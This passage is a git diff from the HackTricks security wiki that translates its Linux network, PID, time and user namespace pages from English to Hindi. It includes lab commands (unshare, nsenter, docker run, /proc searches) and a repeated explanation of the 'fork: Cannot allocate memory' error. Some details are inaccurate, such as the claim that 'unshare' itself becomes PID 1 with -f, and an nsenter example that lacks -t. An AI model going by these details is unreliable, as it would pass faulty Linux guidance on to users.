PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं। +- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं। +- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। -2. **Consequence**: +2. **परिणाम**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **समाधान**: +- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है। +- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं। -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` - -### Check which namespace is your process in - +### जांचें कि आपका प्रोसेस किस नेमस्पेस में है ```bash ls -l /proc/self/ns/net lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' ``` - -### Find all Network namespaces - +### सभी नेटवर्क नामस्थान खोजें ```bash sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:" # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Network namespace - +### नेटवर्क नामस्थान के अंदर प्रवेश करें ```bash nsenter -n TARGET_PID --pid /bin/bash ``` +आप केवल **रूट** होने पर ही किसी अन्य प्रक्रिया नामस्थान में **प्रवेश** कर सकते हैं। और आप **बिना** किसी **विवरण** के अन्य नामस्थान में **प्रवेश** **नहीं** कर सकते (जैसे `/proc/self/ns/net`)। -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -## References +## संदर्भ - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 0d4297366..553268d44 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -4,87 +4,77 @@ ## Basic Information -The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management. +PID (Process IDentifier) namespace एक विशेषता है जो Linux kernel में प्रक्रिया अलगाव प्रदान करती है, जिससे प्रक्रियाओं के एक समूह को अपने स्वयं के अद्वितीय PIDs का सेट प्राप्त होता है, जो अन्य namespaces में PIDs से अलग होता है। यह विशेष रूप से कंटेनरीकरण में उपयोगी है, जहां प्रक्रिया अलगाव सुरक्षा और संसाधन प्रबंधन के लिए आवश्यक है। -When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces. +जब एक नया PID namespace बनाया जाता है, तो उस namespace में पहली प्रक्रिया को PID 1 सौंपा जाता है। यह प्रक्रिया नए namespace की "init" प्रक्रिया बन जाती है और namespace के भीतर अन्य प्रक्रियाओं का प्रबंधन करने के लिए जिम्मेदार होती है। namespace के भीतर बनाई गई प्रत्येक अगली प्रक्रिया का एक अद्वितीय PID होगा, और ये PIDs अन्य namespaces में PIDs से स्वतंत्र होंगे। -From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another. +PID namespace के भीतर एक प्रक्रिया के दृष्टिकोण से, यह केवल उसी namespace में अन्य प्रक्रियाओं को देख सकती है। यह अन्य namespaces में प्रक्रियाओं के बारे में अवगत नहीं है, और यह पारंपरिक प्रक्रिया प्रबंधन उपकरणों (जैसे, `kill`, `wait`, आदि) का उपयोग करके उनके साथ बातचीत नहीं कर सकती। यह एक स्तर का अलगाव प्रदान करता है जो प्रक्रियाओं को एक-दूसरे में हस्तक्षेप करने से रोकने में मदद करता है। ### How it works: -1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. -2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. -3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. -4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. +1. जब एक नई प्रक्रिया बनाई जाती है (जैसे, `clone()` सिस्टम कॉल का उपयोग करके), तो प्रक्रिया को एक नए या मौजूदा PID namespace में सौंपा जा सकता है। **यदि एक नया namespace बनाया जाता है, तो प्रक्रिया उस namespace की "init" प्रक्रिया बन जाती है**। +2. **kernel** नए namespace में PIDs और संबंधित PIDs के बीच एक **मैपिंग बनाए रखता है** जो माता-पिता namespace में होती है (यानी, वह namespace जिससे नया namespace बनाया गया था)। यह मैपिंग **kernel को आवश्यकतानुसार PIDs का अनुवाद करने की अनुमति देती है**, जैसे कि विभिन्न namespaces में प्रक्रियाओं के बीच संकेत भेजते समय। +3. **PID namespace के भीतर प्रक्रियाएं केवल उसी namespace में अन्य प्रक्रियाओं को देख और बातचीत कर सकती हैं**। वे अन्य namespaces में प्रक्रियाओं के बारे में अवगत नहीं हैं, और उनके PIDs उनके namespace के भीतर अद्वितीय होते हैं। +4. जब एक **PID namespace नष्ट किया जाता है** (जैसे, जब namespace की "init" प्रक्रिया समाप्त होती है), **तो उस namespace के भीतर सभी प्रक्रियाएं समाप्त हो जाती हैं**। यह सुनिश्चित करता है कि namespace से संबंधित सभी संसाधनों को सही तरीके से साफ किया जाए। ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -pf --mount-proc /bin/bash ``` -
-Error: bash: fork: Cannot allocate memory +त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो Linux नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं: -1. **Problem Explanation**: +1. **समस्या का विवरण**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान (जिसे "unshare" प्रक्रिया कहा जाता है) के निर्माण की शुरुआत करने वाली प्रक्रिया नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं। +- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं। +- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नामस्थान की सफाई को ट्रिगर करती है, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। -2. **Consequence**: +2. **परिणाम**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के समय `alloc_pid` फ़ंक्शन नए PID आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **समाधान**: +- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है। +- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं। -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकें।
-By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +यदि आप `--mount-proc` पैरामीटर का उपयोग करके `/proc` फ़ाइल प्रणाली का एक नया उदाहरण माउंट करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलग दृष्टिकोण** है। #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace are your process in - +### जांचें कि आपका प्रोसेस किस नामस्थान में है ```bash ls -l /proc/self/ns/pid lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ``` - -### Find all PID namespaces - +### सभी PID नामस्थान खोजें ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` +ध्यान दें कि प्रारंभिक (डिफ़ॉल्ट) PID नामस्थान से रूट उपयोगकर्ता सभी प्रक्रियाओं को देख सकता है, यहां तक कि नए PID नाम स्थानों में भी, यही कारण है कि हम सभी PID नामस्थान देख सकते हैं। -Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces. - -### Enter inside a PID namespace - +### एक PID नामस्थान के अंदर प्रवेश करें ```bash nsenter -t TARGET_PID --pid /bin/bash ``` +जब आप डिफ़ॉल्ट नामस्थान से PID नामस्थान के अंदर प्रवेश करते हैं, तो आप सभी प्रक्रियाओं को देख पाएंगे। और उस PID ns से प्रक्रिया नए bash को PID ns पर देख सकेगी। -When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns. +इसके अलावा, आप केवल **दूसरे प्रक्रिया PID नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में** **बिना एक वर्णनकर्ता** के **प्रवेश नहीं कर सकते** जो इसे इंगित करता है (जैसे `/proc/self/ns/pid`) -Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`) - -## References +## संदर्भ - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 5d2201886..9bf9997b5 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -4,69 +4,59 @@ ## Basic Information -The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot. +Linux में टाइम नेमस्पेस सिस्टम मोनोटोनिक और बूट-टाइम घड़ियों के लिए प्रति-नेमस्पेस ऑफसेट की अनुमति देता है। इसका सामान्य उपयोग Linux कंटेनरों में कंटेनर के भीतर दिनांक/समय को बदलने और चेकपॉइंट या स्नैपशॉट से पुनर्स्थापित करने के बाद घड़ियों को समायोजित करने के लिए किया जाता है। ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -T [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नामस्थान उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलग दृष्टिकोण** रखता है।
-Error: bash: fork: Cannot allocate memory +त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं: -1. **Problem Explanation**: +1. **समस्या का विवरण**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं। +- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं। +- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नामस्थान की सफाई को ट्रिगर करती है, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। -2. **Consequence**: +2. **परिणाम**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **समाधान**: +- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है। +- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं। -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकें।
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### जांचें कि आपका प्रोसेस किस नेमस्पेस में है ```bash ls -l /proc/self/ns/time lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' ``` - -### Find all Time namespaces - +### सभी टाइम नेमस्पेस खोजें ```bash sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Time namespace - +### एक टाइम नेमस्पेस के अंदर प्रवेश करें ```bash nsenter -T TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 88d39ccc6..9adbc9e89 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -4,100 +4,85 @@ ## Basic Information -A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically. +एक उपयोगकर्ता नामस्थान एक Linux कर्नेल विशेषता है जो **उपयोगकर्ता और समूह ID मैपिंग का पृथक्करण प्रदान करता है**, जिससे प्रत्येक उपयोगकर्ता नामस्थान के पास **अपने स्वयं के उपयोगकर्ता और समूह ID का सेट** होता है। यह पृथक्करण विभिन्न उपयोगकर्ता नामस्थानों में चलने वाली प्रक्रियाओं को **विभिन्न विशेषाधिकार और स्वामित्व** रखने की अनुमति देता है, भले ही वे संख्यात्मक रूप से समान उपयोगकर्ता और समूह ID साझा करते हों। -User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system. +उपयोगकर्ता नामस्थान कंटेनरीकरण में विशेष रूप से उपयोगी होते हैं, जहां प्रत्येक कंटेनर के पास अपने स्वतंत्र उपयोगकर्ता और समूह ID का सेट होना चाहिए, जिससे कंटेनरों और होस्ट सिस्टम के बीच बेहतर सुरक्षा और पृथक्करण की अनुमति मिलती है। ### How it works: -1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**. -2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace. -3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**. -4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace. +1. जब एक नया उपयोगकर्ता नामस्थान बनाया जाता है, तो यह **उपयोगकर्ता और समूह ID मैपिंग का एक खाली सेट के साथ शुरू होता है**। इसका मतलब है कि नए उपयोगकर्ता नामस्थान में चलने वाली कोई भी प्रक्रिया **शुरुआत में नामस्थान के बाहर कोई विशेषाधिकार नहीं रखेगी**। +2. नए नामस्थान में उपयोगकर्ता और समूह ID के बीच और माता-पिता (या होस्ट) नामस्थान में ID मैपिंग स्थापित की जा सकती है। यह **नए नामस्थान में प्रक्रियाओं को माता-पिता नामस्थान में उपयोगकर्ता और समूह ID के अनुसार विशेषाधिकार और स्वामित्व रखने की अनुमति देता है**। हालाँकि, ID मैपिंग को विशिष्ट रेंज और ID के उपसमुच्चयों तक सीमित किया जा सकता है, जिससे नए नामस्थान में प्रक्रियाओं को दिए गए विशेषाधिकार पर बारीक नियंत्रण की अनुमति मिलती है। +3. एक उपयोगकर्ता नामस्थान के भीतर, **प्रक्रियाओं के पास नामस्थान के भीतर संचालन के लिए पूर्ण रूट विशेषाधिकार (UID 0) हो सकते हैं**, जबकि नामस्थान के बाहर सीमित विशेषाधिकार रखते हैं। यह **कंटेनरों को अपने स्वयं के नामस्थान के भीतर रूट-जैसी क्षमताओं के साथ चलाने की अनुमति देता है बिना होस्ट सिस्टम पर पूर्ण रूट विशेषाधिकार के**। +4. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नामस्थानों के बीच स्थानांतरित हो सकती हैं या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नामस्थान बना सकती हैं जिसमें `CLONE_NEWUSER` ध्वज होता है। जब कोई प्रक्रिया नए नामस्थान में जाती है या एक बनाती है, तो यह उस नामस्थान से संबंधित उपयोगकर्ता और समूह ID मैपिंग का उपयोग करना शुरू कर देगी। ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -U [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`/proc` फ़ाइल सिस्टम के एक नए उदाहरण को माउंट करके यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलगावित दृश्य** है।
-Error: bash: fork: Cannot allocate memory +त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि का सामना करता है। मुख्य विवरण और समाधान नीचे दिए गए हैं: -1. **Problem Explanation**: +1. **समस्या का विवरण**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं। +- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं। +- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। -2. **Consequence**: +2. **परिणाम**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के समय `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **समाधान**: +- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है। +- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं। -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` 